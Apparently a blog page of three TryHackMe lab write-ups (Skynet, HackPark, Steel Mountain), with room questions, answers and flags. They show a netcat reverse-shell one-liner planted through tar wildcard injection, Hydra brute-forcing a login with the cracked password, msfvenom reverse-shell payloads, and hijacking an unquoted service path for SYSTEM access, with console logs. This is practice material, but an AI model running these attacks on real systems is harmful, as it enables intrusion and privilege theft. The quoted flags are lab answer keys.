thm-terminator-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called terminator at

[Task 1] Deploy and compromise the vulnerable machine!20/09/2019

Hasta la vista, baby.

Are you able to compromise this Terminator themed machine?

You can follow our official walkthrough for this challenge on our blog.

#1	What is Miles password for his emails?

cyborg007haloterminator

#2	What is the hidden directory?

#3	What is the vulnerability called when you can include a remote file for malicious purposes?

remote file inclusion

#4	What is the user flag?

#5	What is the root flag?

3f0372db24753accc7179a282cd6a949

Skynet Writeup

Follow along with this writeup, and deploy your own instance of Skynet! https://tryhackme.com/room/skynetSummary:

Scan ports using nmap
Use GoBuster to enumerate directories
Experiment with SMBMap to find Samba shares
Using enumerated credentials to read emails
Exploit CMS RFI vulnerability
Exploit tar wildcards for privilege escalation

Lets first begin by enumerating the machine as much as possible, by using nmap.

We can see that that there is a web server running, upon visiting we can see the following:

“Skynet” is a artificial neural network-based conscious group mind and artificial general intelligence system

Lets use GoBuster to locate any directories!

gobuster -u http://<ip> -w <wordlist_location> -t 40

Sometimes, we’re confident that there is something to be found and we waste too much time on it. Often, there are rabbit holes that can trip you up. Make sure to take breaks if you get stuck and try different approaches.

Going back to the drawing board, we saw that pop3 and imap ports were open, I wonder what else could be potentially found? Remember what I said above!

SMBMap allows users to enumerate samba share drives across an entire domain. This program is available on all Kali Linux machines. If you don’t have the time or resources to set your own Kali Linux machine up, you can deploy your own and control it within your browser. Check it out.

The scan reveals a share called “anonymous” that has read access. Lets connect to the share and investigate.

Log1.txt contains possible passwords and there is a smb share called milesdyson. We have some potential credentials here… But SSH is disabled! What else can we do?

An earlier GoBuster scan revealed SquirrelMail!

Gasp! Reading his emails reveals a Samba password reset!

Lets log into Miles’ share and see what interesting things we can find! You should find a file that gives you information about a new CMS.

Visiting the CMS reveals Miles Dysons Personal Page

If you use GoBuster on the /45kra24zxs28v3yd/ directory, you will reveal an /administrator page. This reveals a Cuppa CMS!

Looking at the source code will give you an indication of the CMS’ version. After some online research, there is a public exploit for it! https://www.exploit-db.com/exploits/25971

Get a shell script and change the IP to be your tun0 IP (ifconfig), host it locally using Python, use netcat to listen for a session and then remotely include this shell on the webserver.

The screenshot below explains the correct steps in obtaining a low privilege shell by exploiting the RFI vulnerability! You can download a PHP reverse shell from PentestMonkey.

So whats actually going on here? In the CMS code, there is a bit of PHP code that includes files:

<?php include($_REQUEST["urlConfig"]); ?>

However, this allows us to include our own shells (or even include a file on the system such as /etc/passwd). For a more detailed explanation, please read the exploit-db description.

Now that we have a shell, we can get the user flag. Next step is to escalate our privileges to root!

Upon enumerating the Linux machine, we can see there are several regular cronjobs running.

So the file /home/milesdyson/backups/backup.sh is being called every minute. Inspecting this file:

This gets a shell, navigates to the /var/www/html directory and create a backup of everything in the directory.

Well, believe it or not, this creates a vulnerability as we can use it to execute code. HelpNetSecurity best explains how this vulnerability works, but in essence, tar has wildcards and we can use checkpoint actions to execute commands.

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip>
1234 >/tmp/f" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"

Then open up a netcat session and you will receive a shell as root!

Author : Jacco Straathof

thm-hackpark-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a CTF called hackpark at

[Task 1] Deploy the vulnerable Windows machine

Connect to our network and deploy this machine. Please be patient as this machine can take up to 5 minutes to boot! You can test if you are connected to our network, by going to our access page. Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.

This room will cover brute-forcing an accounts credentials, handling public exploits, using the Metasploit framework and privilege escalation on Windows.

#1	Deploy the machine and access its web server.

#2	Whats the name of the clown displayed on the homepage?

[Task 2] Using Hydra to brute-force a login

Hydra is a parallelized, fast and flexible login cracker. If you don’t have Hydra installed or need a Linux machine to use it, you can deploy a powerful Kali Linux machine and control it in your browser!

Brute-forcing can be trying every combination of a password. Dictionary-attack’s are also a type of brute-forcing, where we iterating through a wordlist to obtain the password.

We need to find a login page to attack and identify what type of request the form is making to the webserver. Typically, web servers make two types of requests, a GET request which is used to request data from a webserver and a POST request which is used to send data to a server.

You can check what request a form is making by right clicking on the login form, inspecting the element and then reading the value in the method field. You can also identify this if you are intercepting the traffic through BurpSuite (other HTTP methods can be found here).

What request type is the Windows website login form using?

Now we know the request type and have a URL for the login form, we can get started brute-forcing an account.

Run the following command but fill in the blanks:

hydra -l <username> -P /usr/share/wordlists/<wordlist> <ip> http-post-form

Guess a username, choose a password wordlist and gain credentials to a user account!

Hydra really does have lots of functionality, and there are many “modules” available (an example of a module would be the http-post-form that we used above).

However, this tool is not only good for brute-forcing HTTP forms, but other protocols such as FTP, SSH, SMTP, SMB and more.

Below is a mini cheatsheet:

Command	Description
hydra -P <wordlist> -v <ip> <protocol>	Brute force against a protocol of your choice
hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>	You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>	Attack a Windows Remote Desktop with a password list.
hydra -l <username> -P .<password list> $ip -V http-form-post ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’	Craft a more specific request for Hydra to brute force.

Login brute force with Hydra

The website has a login section. TryHackMe prompts us to guess a user name, so we’ll use good old “admin”. Here’s the Hydra command to brute-force the web form:

E:\PENTEST\thc-hydra>hydra -l admin -P rock.txt 10.10.140.111 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=ESusfeeAgg5XBAqn0il8cmjNBRNgyyn40k5fTw0EqohxNhMx%2BCbwAu%2FbXDgB%2BeAzswA0lJQlx7qkuILGVgmrciakyHYQksatA0zD%2B%2FQuEbsGFiAEtKJ9foI4CfgcdADkjq%2FYtzt5fJ9wn4Vzq%2Ff%2F%2Bj%2BttNl2bQGbn9kHIOWbeVecULsFeXHxIXw%2F6IDy3MT2DZbc8ScPbiJqkB9NP91hyX6QOlcbAOih9lnzG4%2B69SszAzzAeW5Jt2zIdFJeXmswYiGlaNLvW1zm%2BLW5bMbR2HxMImHT5PipZegaMiNIs4gt6r9RH53qbh0ysABzLfpXlfWT5noJGq%2BhnOUYfAjJC1pnawT1wACYrH6wtRS7oCuKVTQD&__EVENTVALIDATION=iNrpLaCNYEuyJut8PS4B4E3PjQdZpobW1J6AnunCxl%2FNDwPNiZz3gj3VqybxORpHJasanlkFY8Dp3JM8U%2ByD8K4B%2Bp4j7tOAsPbMF1EVjsn4rxuEXIlFgq7uUEefXKTWB0k3zhuIcl%2BcJqFBFUGXy1CVeZ8tuqW7wLkmhrAcuzSGavTs&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"
Hydra v8.7-dev (c) 2018 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2020-06-03 19:49:39
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:0), ~6 try per task
[DATA] attacking http-post-form://10.10.140.111:80/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=ESusfeeAgg5XBAqn0il8cmjNBRNgyyn40k5fTw0EqohxNhMx%2BCbwAu%2FbXDgB%2BeAzswA0lJQlx7qkuILGVgmrciakyHYQksatA0zD%2B%2FQuEbsGFiAEtKJ9foI4CfgcdADkjq%2FYtzt5fJ9wn4Vzq%2Ff%2F%2Bj%2BttNl2bQGbn9kHIOWbeVecULsFeXHxIXw%2F6IDy3MT2DZbc8ScPbiJqkB9NP91hyX6QOlcbAOih9lnzG4%2B69SszAzzAeW5Jt2zIdFJeXmswYiGlaNLvW1zm%2BLW5bMbR2HxMImHT5PipZegaMiNIs4gt6r9RH53qbh0ysABzLfpXlfWT5noJGq%2BhnOUYfAjJC1pnawT1wACYrH6wtRS7oCuKVTQD&__EVENTVALIDATION=iNrpLaCNYEuyJut8PS4B4E3PjQdZpobW1J6AnunCxl%2FNDwPNiZz3gj3VqybxORpHJasanlkFY8Dp3JM8U%2ByD8K4B%2Bp4j7tOAsPbMF1EVjsn4rxuEXIlFgq7uUEefXKTWB0k3zhuIcl%2BcJqFBFUGXy1CVeZ8tuqW7wLkmhrAcuzSGavTs&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed
[80][http-post-form] host: 10.10.140.111   login: admin   password: 1qaz2wsx
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-06-03 19:49:52

E:\PENTEST\thc-hydra>

Don’t panic, it’s not really complicated

Most of the command consists of the string after “http-post-form”. This string has three parts divided by colons — “path to the login form page : request body : error message indicating failure”

To get this information open the networks tab in the developer tools, send one login request with random credentials and inspected it by clicking “Edit and Resend”.

The request body can be found in the “Request Body” section at the bottom. Before pasting it in the terminal we need to find where the credentials are used, so hydra would know to insert it’s guessing there.

Now I can replace the “asdf” I entered with ^USER^ and ^PASS^ for Hydra

One last piece of information Hydra needs is a message indicating failure, so it could tell when the guessed password is correct. At login failure, the site prompts us with “Login failed”. That’s exactly the string We need.

After running Hydra and obtaining the password We can log into BlogEngine as admin 🔥

[Task 3] Compromise the machine

In this task, you will identify and execute a public exploit (from exploit-db.com) to get initial access on this Windows machine!

Exploit-Database is a CVE (common vulnerability and exposures) archive of public exploits and corresponding vulnerable software, developed for the use of penetration testers and vulnerability researches. It is owned by Offensive Security (who are responsible for OSCP and Kali)

#1	Now you have logged into the website, are you able to identify the version of the BlogEngine?

#2	Use the exploit database archive to find an exploit to gain a reverse shell on this system. What is the CVE?

#3	Using the public exploit, gain initial access to the server. Who is the webserver running as?

[Task 4] Windows Privilege Escalation

In this task we will learn about the basics of Windows Privilege Escalation.

First we will pivot from netcat to a meterpreter session and use this to enumerate the machine to identify potential vulnerabilities. We will then use this gathered information to exploit the system and become the Administrator.

Our netcat session is a little unstable, so lets generate another reverse shell using msfvenom.

If you don’t know how to do this, I suggest completing up to task 3 in our Metasploit room first!

Tip: You can generate the reverse-shell payload using msfvenom, upload it using your current netcat session and execute it manually!

#2	You can run metasploit commands such as sysinfo to get detailed information about the Windows system. Then feed this information into the windows-exploit-suggester script and quickly identify any obvious vulnerabilities. What is the OS version of this windows machine?

#3	Further enumerate the machine. What is the name of the abnormal service running?

#4	What is the name of the binary you’re supposed to exploit?

#5	Using this abnormal service, escalate your privileges! What is the user flag (on Jeffs Desktop)?

#6	What is the root flag?

[Task 5] Privilege Escalation Without Metasploit

…..

In this task we will escalate our privileges without the use of meterpreter/metasploit!

Firstly, we will pivot from our netcat session that we have established, to a more stable reverse shell.

Once we have established this we will use winPEAS to enumerate the system for potential vulnerabilities, before using this information to escalate to Administrator.

#1	Now we can generate a more stable shell using msfvenom, instead of using a meterpreter, This time let’s set our payload to windows/shell_reverse_tcp

#2	After generating our payload we need to pull this onto the box using powershell. Tip: It’s common to find C:\Windows\Temp is world writable!

Now you know how to pull files from your machine to the victims machine, we can pull winPEAS.bat to the system using the same method! (You can find winPEAS here)

WinPeas is a great tool which will enumerate the system and attempt to recommend potential vulnerabilities that we can exploit. The part we are most interested in for this room is the running processes!

Tip: You can execute these files by using .\filename.exe

Using winPeas, what was the Original Install time of the server ? (This is date and time) ,Found from cmd-shell with : systeminfo

Writeup :

Try it for yourself here.

Deployment and reverse image search

After the machine deployed I opened the website and got prompted by this friendly clown:

I guess most of you recognized him right off the bat as Pennywise from the Movie IT. I didn’t, so I used reverse image search to find who he is. Google didn’t provide any good output, but TinEye did.

Login brute force with Hydra

The website has a login section. TryHackMe prompts us to guess a user name, so we’ll use good old “admin”. Here’s the Hydra command to brute-force the web form:

Don’t panic, it’s not really complicated

To get this information open the networks tab in the developer tools, send one login request with random credentials and inspected it by clicking “Edit and Resend”.

The request body can be found in the “Request Body” section at the bottom. Before pasting it in the terminal we need to find where the credentials are used, so hydra would know to insert it’s guessing there.

Now I can replace the “asdf” I entered with ^USER^ and ^PASS^ for Hydra

After running Hydra and obtaining the password We can log into BlogEngine as admin 🔥

Compromise the machine

The first thing to be done is to check the version of BlogEngine. It can be found in the “About” tab. A quick google search of this version revealed this exploit in exploit-db.

Example search for an exploit with the “searchsploit” command on Kali Linux. We’ll use the fourth result.

Inside the exploit, a comment specified exactly what we needed to do to get this running. Firstly change the address and port of the attacker to yours.

Rename the exploit to PostView.ascx. It should be uploaded via editing a post:

To upload the file edit the only post on the website and click the folder icon marked above

Protected: htb-magic-nl

thm-steelmountain-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play Tryhackme’s Steelmountain at

https://tryhackme.com/room/gatekeeper

Credits to the room creator/s.

TryHackMe – Steel Mountain

[Task 1] Introduction

In this room you will enumerate a Windows machine, gain initial access with Metasploit, use Powershell to further enumerate the machine and escalate your privileges to Administrator.

If you don’t have the right security tools and environment, deploy your own Kali Linux machine and control it in your browser, with our Kali Room.

Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.

#1	Deploy the machine. Who is the employee of the month?

[Task 2] Initial Access

Now you have deployed the machine, lets get an initial shell!

#1	Scan the machine with nmap. What is the other port running a web server on?

#2	Take a look at the other web server. What file server is running?

#3	What is the CVE number to exploit this file server?

#4	Use Metasploit to get an initial shell. What is the user flag?

[Task 3] Privilege Escalation

Now that you have an initial shell on this Windows machine as Bill, we can further enumerate the machine and escalate our privileges to root!

To enumerate this machine, we will use a powershell script called PowerUp, that’s purpose is to evaluate a Windows machine and determine any abnormalities – “PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.”

You can download the script here. Now you can use the upload command in Metasploit to upload the script.

To execute this using Meterpreter, I will type load powershell into meterpreter. Then I will enter powershell by entering powershell_shell:

#2	Take close attention to the CanRestart option that is set to true. What is the name of the unquoted service path service name?

The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!

Use msfvenom to generate a reverse shell as an Windows executable.

Upload your binary and replace the legitimate one. Then restart the program to get a shell as root.

#4	What is the root flag?

[Task 4] Access and Escalation Without Metasploit

Now let’s complete the room without the use of Metasploit.

For this we will utilise powershell and winPEAS to enumerate the system and collect the relevant information to escalate to

To begin we shall be using the same CVE. However, this time let’s use this exploit.

*Note that you will need to have a web server and a netcat listener active at the same time in order for this to work!*

To begin, you will need a netcat static binary on your web server. If you do not have one, you can download it from GitHub!

You will need to run the exploit twice. The first time will pull our netcat binary to the system and the second will execute our payload to gain a callback!

Congratulations, we’re now onto the system. Now we can pull winPEAS to the system using powershell -c.

Once we run winPeas, we see that it points us towards unquoted paths. We can see that it provides us with the name of the service it is also running.

What powershell -c command could we run to manually find out the service name?

*Format is “powershell -c “command here”*

Now let’s escalate to Administrator with our new found knowledge.

Generate your payload using msfvenom and pull it to the system using powershell.

Now we can move our payload to the unquoted directory winPEAS alerted us to and restart the service with two commands.

First we need to stop the service which we can do like so;

sc stop AdvancedSystemCareService9

Shortly followed by;

sc start AdvancedSystemCareService9

Once this command runs, you will see you gain a shell as Administrator on our listener!

Here’s the writeup :

As always we start with a nmap scan

kali@kali:~/thm$ nmap -A 10.10.55.161 -oN steelmountain.nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-17 03:30 EDT
Stats: 0:01:14 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.92% done; ETC: 03:31 (0:00:00 remaining)
Stats: 0:01:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.96% done; ETC: 03:31 (0:00:00 remaining)
Nmap scan report for 10.10.55.161
Host is up (0.029s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2020-04-17T07:31:14+00:00; 0s from scanner time.
8080/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 02:88:1e:b5:04:44 (unknown)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2020-04-17T07:31:09
|_ start_date: 2020-04-17T06:48:09

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.78 seconds
kali@kali:~/thm$

added Invoke-AllChecks to bottom of PowerUp.ps1 file

Other way to find this :

My next move was to use wmic to check for Unquoted Service Path. The syntax i used was: wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\" |findstr /i /v """.

With this information, i used msfvenom to generate a malicious binary.

kali@kali:~/thm$ msfvenom -p windows/shell_reverse_tcp LHOST=10.11.3.122 LPORT=443 -e x86/shikata_ga_nai -f exe -o ASCService.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of exe file: 73802 bytes
Saved as: ASCService.exe

I stop the service using Service Control.

Now, i uploaded the binary to C:\Program Files (x86)\IObit. Before starting the service, create a netcat listener, then drop into a shell and start the service with Service Control (sc start AdvancedSystemCareService9).

I received the reverse shell. Now, if we want to upgrade our shell, we can use metasploit Web Delivery module as follows.

image [Web delivery] here

Web delivery configuration

I already had it pre configured. I just changed a few things. Also, don’t forget to use the PSH (set target 2) delivery. Now, just copy-paste it in your generic shell you spawned earlier and hit enter. You’ll receive the connection in metasploit.

You upgraded the shell. Now you can run hashdump, pivot if needed and so on.

C:\users\bill\desktop>wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\" |findstr /i /v """
Advanced SystemCare Service 9 AdvancedSystemCareService9 C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe Auto 
Application Host Helper Service AppHostSvc C:\Windows\system32\svchost.exe -k apphost Auto 
AWS Lite Guest Agent AWSLiteAgent C:\Program Files\Amazon\XenTools\LiteAgent.exe Auto 
Base Filtering Engine BFE C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork Auto 
Background Tasks Infrastructure Service BrokerInfrastructure C:\Windows\system32\svchost.exe -k DcomLaunch Auto 
Cryptographic Services CryptSvc C:\Windows\system32\svchost.exe -k NetworkService Auto 
DCOM Server Process Launcher DcomLaunch C:\Windows\system32\svchost.exe -k DcomLaunch Auto 
DHCP Client Dhcp C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted Auto 
DNS Client Dnscache C:\Windows\system32\svchost.exe -k NetworkService Auto 
Wired AutoConfig dot3svc C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted Manual 
Diagnostic Policy Service DPS C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork Auto 
Windows Event Log EventLog C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted Auto 
COM+ Event System EventSystem C:\Windows\system32\svchost.exe -k LocalService Auto 
Windows Font Cache Service FontCache C:\Windows\system32\svchost.exe -k LocalService Auto 
Group Policy Client gpsvc C:\Windows\system32\svchost.exe -k netsvcs Auto 
IKE and AuthIP IPsec Keying Modules IKEEXT C:\Windows\system32\svchost.exe -k netsvcs Auto 
IObit Uninstaller Service IObitUnSvr C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe Auto 
IP Helper iphlpsvc C:\Windows\System32\svchost.exe -k NetSvcs Auto 
Server LanmanServer C:\Windows\system32\svchost.exe -k netsvcs Auto 
Workstation LanmanWorkstation C:\Windows\System32\svchost.exe -k NetworkService Auto 
LiveUpdate LiveUpdateSvc C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe Auto 
TCP/IP NetBIOS Helper lmhosts C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted Auto 
Windows Firewall MpsSvc C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork Auto 
Distributed Transaction Coordinator MSDTC C:\Windows\System32\msdtc.exe Auto 
Network Location Awareness NlaSvc C:\Windows\System32\svchost.exe -k NetworkService Auto 
Network Store Interface Service nsi C:\Windows\system32\svchost.exe -k LocalService Auto 
Power Power C:\Windows\system32\svchost.exe -k DcomLaunch Auto 
User Profile Service ProfSvc C:\Windows\system32\svchost.exe -k netsvcs Auto 
Remote Access Auto Connection Manager RasAuto C:\Windows\System32\svchost.exe -k netsvcs Manual 
Remote Registry RemoteRegistry C:\Windows\system32\svchost.exe -k localService Auto 
RPC Endpoint Mapper RpcEptMapper C:\Windows\system32\svchost.exe -k RPCSS Auto 
Remote Procedure Call (RPC) RpcSs C:\Windows\system32\svchost.exe -k rpcss Auto 
Security Accounts Manager SamSs C:\Windows\system32\lsass.exe Auto 
Task Scheduler Schedule C:\Windows\system32\svchost.exe -k netsvcs Auto 
System Event Notification Service SENS C:\Windows\system32\svchost.exe -k netsvcs Auto 
Shell Hardware Detection ShellHWDetection C:\Windows\System32\svchost.exe -k netsvcs Auto 
Print Spooler Spooler C:\Windows\System32\spoolsv.exe Auto 
Software Protection sppsvc C:\Windows\system32\sppsvc.exe Auto 
System Events Broker SystemEventsBroker C:\Windows\system32\svchost.exe -k DcomLaunch Auto 
Themes Themes C:\Windows\System32\svchost.exe -k netsvcs Auto 
Distributed Link Tracking Client TrkWks C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted Auto 
User Access Logging Service UALSVC C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted Auto 
World Wide Web Publishing Service W3SVC C:\Windows\system32\svchost.exe -k iissvcs Auto 
Windows Connection Manager Wcmsvc C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted Auto 
WinHTTP Web Proxy Auto-Discovery Service WinHttpAutoProxySvc C:\Windows\system32\svchost.exe -k LocalService Manual 
Windows Management Instrumentation Winmgmt C:\Windows\system32\svchost.exe -k netsvcs Auto 
Windows Remote Management (WS-Management) WinRM C:\Windows\System32\svchost.exe -k NetworkService Auto 
Windows Licensing Monitoring Service WLMS C:\Windows\system32\wlms\wlms.exe Auto

C:\users\bill\desktop>cd C:\Program Files (x86)\IObit\Advanced SystemCare\
cd C:\Program Files (x86)\IObit\Advanced SystemCare\

C:\Program Files (x86)\IObit\Advanced SystemCare>sc stop AdvancedSystemCareService9
sc stop AdvancedSystemCareService9

SERVICE_NAME: AdvancedSystemCareService9 
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 4 RUNNING 
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

C:\Program Files (x86)\IObit\Advanced SystemCare>sc stop AdvancedSystemCareService9
sc stop AdvancedSystemCareService9
[SC] ControlService FAILED 1062:

The service has not been started.


C:\Program Files (x86)\IObit\Advanced SystemCare>^Z
Background channel 3? [y/N] y
meterpreter > upload ascservice.exe
[*] uploading : ascservice.exe -> ascservice.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): ascservice.exe -> ascservice.exe
[*] uploaded : ascservice.exe -> ascservice.exe
meterpreter > shell
Process 3640 created.
Channel 5 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\users\bill\desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 2E4A-906A

Directory of C:\users\bill\desktop

04/16/2020 11:58 PM <DIR> .
04/16/2020 11:58 PM <DIR> ..
04/16/2020 11:58 PM 73,802 ascservice.exe
09/27/2019 05:42 AM 70 user.txt
2 File(s) 73,872 bytes
2 Dir(s) 44,160,622,592 bytes free

C:\users\bill\desktop>copy ascservice.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ascservice.exe"
copy ascservice.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ascservice.exe"
Overwrite C:\Program Files (x86)\IObit\Advanced SystemCare\ascservice.exe? (Yes/No/All): A
A
1 file(s) copied.

C:\users\bill\desktop>sc start AdvancedSystemCareService9
sc start AdvancedSystemCareService9
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

kali@kali:~$ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [10.11.3.122] from (UNKNOWN) [10.10.55.161] 62551
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd c:\users\administrator\desktop
cd c:\users\administrator\desktop

c:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 2E4A-906A

Directory of c:\Users\Administrator\Desktop

09/27/2019 05:41 AM <DIR> .
09/27/2019 05:41 AM <DIR> ..
09/27/2019 05:41 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 44,262,805,504 bytes free

c:\Users\Administrator\Desktop>type root.txt
type root.txt
9af5f314f57607c00fd09803a587db80
c:\Users\Administrator\Desktop>